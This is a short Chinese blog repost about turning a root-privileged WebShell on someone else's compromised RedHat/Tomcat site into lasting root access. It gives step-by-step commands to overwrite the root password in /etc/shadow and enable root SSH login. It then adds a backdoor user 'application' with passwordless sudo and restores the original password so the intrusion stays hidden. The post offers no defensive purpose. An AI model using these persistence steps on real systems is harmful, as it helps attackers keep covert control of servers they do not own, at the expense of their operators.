linux提权 Root权限 WebShell提权

没啥技术含量,一种思路,让某些得到Root权限WebShell的同学可以快点拿到权限。

    某日拿到某站WebShell,RedHat(红旗linux)系统,Tomcat程序是Root身份启动的,WebShell当然也拥有Root权限。

具体提权思路:

1.WebShell直接替换Root密码:/etc/shadow    //记得备份

2.允许Root通过ssh登陆:
    修改:/etc/ssh/sshd_config
    PermitRootLogin yes   #允许Root登陆

3.重启ssh服务:service ssh restart

4.以Root身份登陆ssh,增加一个用户:
    useradd application
    passwd    //根据提示设置密码

5.更改application用户运行su不需密码:
   chmod +w /etc/sudoers    //增加写入权限,默认只读
   修改:/etc/sudoers
   vi /etc/sudoers
   加入:application   ALL=(ALL)        NOPASSWD: ALL

6.把Root密码修改回原样,禁止Root登陆。并去除sudoers的写属性(chmod -w /etc/sudoers)。

7.当然最后还要:chmod -w /etc/sudoers

2011050319372739.jpg

Root用户登陆。

2011050319374682.jpg

普通用户登陆,su免密码进入Root权限。

转载于:https://www.cnblogs.com/mujj/articles/2035638.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值